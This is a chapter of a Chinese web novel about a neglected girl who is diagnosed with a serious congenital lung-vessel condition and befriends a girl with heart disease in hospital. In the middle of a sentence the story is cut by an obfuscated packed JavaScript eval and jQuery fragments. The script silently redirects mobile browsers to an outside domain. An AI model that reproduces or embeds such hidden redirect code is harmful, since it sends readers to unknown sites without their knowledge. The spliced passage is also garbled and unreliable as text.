11. 甜的

作品:《哥你别打我男朋友

    在镇上的这个破旧楼房里住了一段时间,不再需要喂猪的方愫有了新的任务。每天早起要把房间里光溜溜的水泥地拖扫干净,再去用电饭煲做饭。


    自以为很穷很穷的家庭,方愫却开始要每天早上为弟弟煮奶粉喝,多喝几天这小子就不愿意了,跟妈妈说这奶粉掺了假,太淡了没有奶的味道。


    方愫上完厕所出来,对着镜子照了照,把嘴上一圈奶白色舔干净,确定没有痕迹了才出了门。


    没什么事做,妈妈叫她中午回来做饭,结果方愫在外面一溜达就是一整天,回到家依旧天黑了,楼房的防盗门锁得更加严实,现在没了狗窝,方愫就在门口的角落缩着。


    上上下下的邻居看见她都频频回头,有个嬢嬢在路过三次后终于没忍住开口问方愫:“大人不在家吗?你蹲在这里。”


    方愫睁着圆圆大眼,声音清晰又委屈:“他们在家,但不给我开门。”


    这个嬢嬢不愿多管闲事,撇撇嘴走了,没过几分钟又折回来,在防盗门上“砰砰”砸了几下,大声喊“邻居邻居,开开门。”


    声音太大,楼道的回声也大,本来都有些犯困的方愫一下子激灵了。


    她被放进了屋子,但塑料苍蝇拍的把子遭了秧,断在了寿命不足半月的这一天,第二天又得去买苍蝇拍了,方愫趴在客厅阳台的脏兮兮的沙发上,有点怀念小狗的窝了,她赶走小土狗时,小土狗的窝是被睡暖和了的。


    因为她的初一没有上完,老师打过好几次电话,父母敷衍了几句,学期又快结束了,就给她找了个偏远一些,学生少,门槛低的学校,安排方愫下半学期再入学,方愫平时出门去,就是找了个安静小凉亭,把剩下的课本知识自己学学。


    经历过一个并不算正规的插班考试后,方愫总算成功入学。


    这是一个寄宿学校,离家挺远,方愫带着自己盖了七八年的小被子住了进去。


    在学校安安稳稳的,以至于每周一次的假期方愫都不想回家,学校对成绩优异的学生发放补助,方愫为了这些钱比以前更努力,得到的这些钱就足够交她在学校的生活费,所以她几乎整个学期下来都不需要与家里联系,除了过年的时候回家。


    十三岁的这个夏天,一如容城往常的天气,闷热又难见清晰的太阳轮廓,它在遥远的高空只有一团白晕,学校的塑胶跑道上,方愫通常都是那个跑在最前面的活力担当,体育课考耐力的长跑她总能排女子第一。


    她活力充沛,从来没有请过例假以及病假,已经成为了学校里各方面的优等生,这一年里,个子也窜了很多,已经和大多数女生差不多高,不再像以前那么瘦瘦小小,学校里不太丰盛美味的饭菜却让她还长了不少肉。


    如此灿如阳光的女孩子,在这个下午的体育课上,突然跌倒在地。


    身边的同学都围过来关心她,方愫穿着短袖校服,坐在地上,努力仰着脑袋呼吸,眼前看不见任何人,脑子一片空白,体育老师扒开人群,看见方愫苍白面上满脸的汗,短促呼吸又急又轻,嘴唇开始发乌,他赶紧把方愫抱起来,开车带着她去了市里的医院。


    老师在这个时候打电话给方愫父母,方愫模糊的意识里,听见老师打电话的声音,方才得知两人在这很长一段时间里都在闹离婚,他们几乎都快忘记了这个孩子的存在。


    方愫在输了一天液又吸了半天氧后,才渐渐恢复了精神,班主任来接替体育老师,推着她上下奔走,带她去检查排队缴费,她像是被突然抽走了活力,满面都是苍白呆滞,被老师放在人群之外,她靠在轮椅里呆呆地望着前面排队的人群。


    方愫很少进医院,以前在乡下满山跑,有一点感冒拖一拖也好了,没得过什么重病。


    一进医院,就进的是这种大医院。


    这是市里比较权威的一家国营医院,排着队缴费的人群乌央央一片,各式各样的人。打着石膏吊着的右臂间夹着检查单,靠在圆形大理石柱上用左手刷着手机,仍发出阵阵笑声的男人;抱着满头留置针还一直在哭的婴儿,一直紧紧盯着排号显示屏的年轻母亲;不停咳嗽,终于咳顺畅了,一口痰吐在卫生纸里,包着扔到垃圾桶的中年男人,看了眼检查单上难以支付的昂贵费用,把单子跟着卫生纸一起扔掉,转身出了医院的背影。


    窗口不远处,一个身形高挑颀长的男生格外惹眼,与黑压压的人群有些格格不入。


    他看上去,像是电视里演的贵族人家的孩子,举手投足都是优雅,静静站在那里没有任何多余小动作。


    方愫视线都没有转动过,只呆呆盯着那边看了很久,直到那个男生察觉到了炽热的视线,转过脸来,方愫才恍然,视线上下转了转,低下了头。


    开了单子回到病房,班主任看着手上的单子,检查费用是一笔不小的数字,老师的薪资并不高,这两日前前后后已经花了不少的钱。她面露难色,把手机递给方愫,叫她再给父母打电话。


    “老师,我不检查了,你看我现在不是好了吗?”方愫努力平缓呼吸,就是感觉心口有些闷闷地痛,不敢皱眉。


    老师看着方愫发乌的唇色还是心疼,“你要把病治好才能回去好好读书。”


    现在检查结果还没有出来,医生也不允许她出院,方愫从床头的书包里掏出来一张银行卡,这是学校办的打奖学金的卡,她递给班主任,“老师,我这里有钱,如果不够,等下学期的奖学金下来我就还给老师,现在我们先出院吧。”


    老师最后还是去把那笔检查费交了,因为在方愫递出银行卡后没多久,她又开始急促呼吸,脸色苍白,无力地靠在了床边。


    又过去了快一个星期,检查的费用由校方领导想办法为她垫付了,但她父母到现在也没有来。


    方愫的检查结果出来,刚被确诊为先天性肺血管发育异常,已经很严重了。


    她坐在门口冰冷的椅子上,偷听着医生与老师的对话。


    一位高高大大的男生推着一个可爱的姑娘路过她,姑娘打着瞌睡,膝上搭的一本书落了下来,掉在方愫脚边。


    方愫弯腰去捡,书里的画页展开,是烟雨朦胧,青山迤逦的祖国山河画卷。


    打瞌睡的姑娘被惊醒,方愫拿起画册,递给她,抬眼对上了她身后那男生的目光。


    是那日在缴费窗口见过的男生,看上去只有十七八岁的年纪,却因面上始终没有什么明显的喜怒哀伤而显得十分有距离感,方愫没有见过比他还长得好看的男孩子。


    瞌睡姑娘眸光灿烂,一笑,嘴角窝出两个酒窝,“谢谢,我一不小心睡着了,诶,小姐姐你再帮我看看,我最后一页贴的那张明信片有没有掉呀。”


    方愫不想多管闲事,但看见女孩的手上还挂着吊瓶,身后那个帅气的男孩子视线在方愫身上停留一瞬又移开,没有讲话。


    方愫翻到最后一页,果然有一张粘在背封上的明信片,是眼前女孩与西湖的合影,眉眼一如现在的灿烂,只是现在的嘴唇有些隐隐泛紫。


    跟方愫挺像的,都是个乌嘴,还挺搞笑的,她笑声没忍住。


    女孩偏偏脑袋,凑方愫近了些,“小姐姐你笑起来眼睛弯弯的像月亮,好好看呀。”


    方愫抿了抿唇,说了声:“谢谢,你笑起来更好看。”


    两人年纪看上去差不多大,不过方愫更瘦,这个姑娘脸要稍圆润一些,很有营养的样子。


    诊室里,医生跟老师的对话传了出来,大概的意思就是,治疗风险很大,费用很高,如果不治疗,也没有几年可活了。


    方愫的笑容变得僵硬。


    面前的两人显然也听见了,女孩伸出没有输液的左手在方愫面前,笑着说:“你好,我叫程茵,这是我哥哥程予弛,小姐姐长得好漂亮,我可以和你做朋友吗?”


    方愫愣愣地呆了好半晌,视线在两人身上顿了顿,伸出


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15483174|169682||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    手,又觉得手不对,换成左手,握了过去。


    程茵感受到了微微有些颤抖的冰凉的手,抬眼看了看诊室门口的患者姓名,听见方愫声音低低:“方愫。”


    她坐回了椅子里,没太听清程茵说了什么,那个帅气的男生推着她走了。


    老师还在诊室,方愫悄悄离开往回走,但走错了病房,进到里面看见了刚刚才认识的程茵靠在床上手中捧着画册,她和哥哥两双眼睛都好奇地看着方愫,她闻到了浓重的花香,打了个喷嚏后,扭了身子退出来,四下张望一圈后,好半晌才分辨出了方位,找到了自己的病房。


    他们村子里总在死人的,有女人因白天与老公大吵一架,当晚就喝了农药去了;有男人三更半夜骑着摩托带情人兜风,双双坠崖殉情;有天天争吵的老夫老妻,老爷爷被狗咬死了,奶奶与狗大战三百回合后,同归于尽。


    人的生命本就脆弱,死亡不可怕,一眼望到头的活着才可怕。


    在那个可怕的村子里,所有人的一辈子都能一眼望穿。


    方愫躺回了床上,程茵独自撑着轮椅从门口进来。


    方愫盖上被子,翻过身去背对着门口。


    程茵的轮椅声音静悄悄的,她靠近了方愫的床边,发出一阵稀里哗啦的声音,是硬质塑料包装的声音,方愫又闻到了苹果的香气。


    “方愫,看我给你带什么来了?”程茵声音轻轻软软,把带来的零食放在她床边的小桌子上,方愫的桌上只有班里派来的学生代表送的果篮,包装完好,她什么也没有吃。


    “这个苹果是我哥哥亲手削的,他叫我给你送过来。”


    方愫依然没有转身,声音闷闷的,“为什么给我送苹果?”


    “因为吃甜的东西可以让心情变好呀。”


    “有的苹果酸。”


    “你尝尝嘛。”程茵说完,还咬了一口苹果,发出清脆的声音。


    方愫掀了被子转过去,“你不是叫我尝尝,怎么自己……”


    程茵咬着一半苹果,把另一半递给方愫,塞到了方愫嘴里。


    “听说我出生那年我爸就死了。”程茵嚼着苹果,听上去水分很足,方愫只要到一半,听见程茵开始给她讲故事。


    “我感觉老妈骗我的,因为哥哥曾经说漏嘴,说他还活着呢。”


    “年初的时候我就被诊断出心脏病啦,但是我到现在也没有见过我爸长啥样。”


    方愫心里紧了紧:“心脏病?”


    “嗯,有的时候一天会疼七八次,疼得我躺在床上大口大口喘气,也不敢使劲喘,会扯着疼,一动也不敢动,眼泪就自己啪嗒啪嗒往下掉。”


    程茵捂了捂心口,说:“就是这里,发病的时候就像是有一只大手在里面又揪又撕的,疼死我了。”


    方愫盘腿坐在床上,看着程茵发紫的唇色,手不自觉也捂在了心口。


    “其实我见我妈的次数也不多,大多数日子都是哥哥在照顾我,别看他跟小大人似的,他也才十八岁,刚参加完高考。”


    “对了,我七月十九号过十四岁生日,小方愫你呢?”程茵嚼完了苹果,在方愫桌子上翻找半天,方愫说:“没有纸。”于是程茵在病号服上擦了擦黏糊糊的手。


    “我五月二十八的生日,今年十三岁。”


    “那我果然没有猜错,你比我小耶,你离开过容城吗?”


    “你在哪里上学呀?”


    程茵的话很多,最后,程予弛来,把她拉走了,方愫才又靠回床头,发着呆。


    她翻了翻刚从程茵拿过来的一堆零食,里面有许多是方愫在小卖部都不曾见过的。


    还有一包邻居姐姐曾经给她吃过的小白兔奶糖。


    护士姐姐来为她打止痛针,她语气并不温柔地对方愫说:“这次的药量有些重,一会可能会口苦,可以先把糖含在嘴里。”但一边又帮她拆开糖纸,把奶白色的糖递到她嘴边。